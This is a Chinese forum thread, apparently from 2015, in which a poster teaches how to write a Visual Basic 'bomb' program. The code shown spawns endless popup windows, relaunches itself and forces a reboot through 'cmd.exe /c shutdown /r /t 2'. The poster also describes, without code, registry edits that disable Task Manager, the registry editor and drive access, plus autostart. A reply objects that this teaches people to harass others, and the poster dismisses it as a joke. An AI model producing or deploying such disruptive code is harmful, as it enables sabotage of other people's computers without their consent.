如何编写蓝屏

刑事咨询

想起了一种很古老的炸弹---蓝屏死机炸弹，于是我就有了写炸弹这个想法，因为我用的是C#.net，把源代码拿过来，大家想调试还要安装.net框架，于是我就想到了用VB来写，那么下面就让我们来进入正题吧。　　一、弹要实现的功能
　　既然是炸弹，那当然要写的厉害些，首先就要像很久以前那个网页炸弹一样，弹出无数个窗口，这个功能是给别人打马虎眼的，让他一心想着去阻止炸弹继续的 弹出窗口；第二个功能是专门针对windows XP而做的，当然也是在2004年第12期黑防杂志上看到的---自动重启计算机（如图1），

　 　那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表，主要的功能还是要禁止中招的人打开任务 管理器，禁止使用注册表，隐藏桌面所有图标，禁止使用开始菜单里面的运行，搜索，关机，屏蔽ctrl+alt+del里的内容，禁止使用IE浏览器里的所 有属性，屏蔽C盘，D盘等盘，这样的结果看上去一定很可怕，如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行，那后果会是什么样的就可想而知了 吧？
　　二、代码实现
　　下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。
实现代码如下：
Private Sub Timer1_Timer()
Dim a As New Form1    ‘声明以后出现a就是代表Form1
a.Show                ‘Form1弹出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName    ‘运行这个软件的本身
End Sub
然后隐藏窗体本身，书县代码如下：
Private Sub Form_Load()
Me.Hide
End Sub
　　那么在XP里自动关机是怎么回事呢？这个就是一个命令就能搞定的（shutdown /r /t 2），就是说，重新启动计算机的倒计时是2秒，这样中招的人就没有办法停止我们的shutdown了，其实到这里就可以算是一个有趣的恶作剧了。实现代码如下：

Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2")  ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub

仁者之智

你这不是教人恶搞一些人吗

刑事咨询

仁者之智 发表于 2015-2-14 12:48
你这不是教人恶搞一些人吗

像这些都是一些玩笑啦  之后也可以设置一些搞笑的事情啊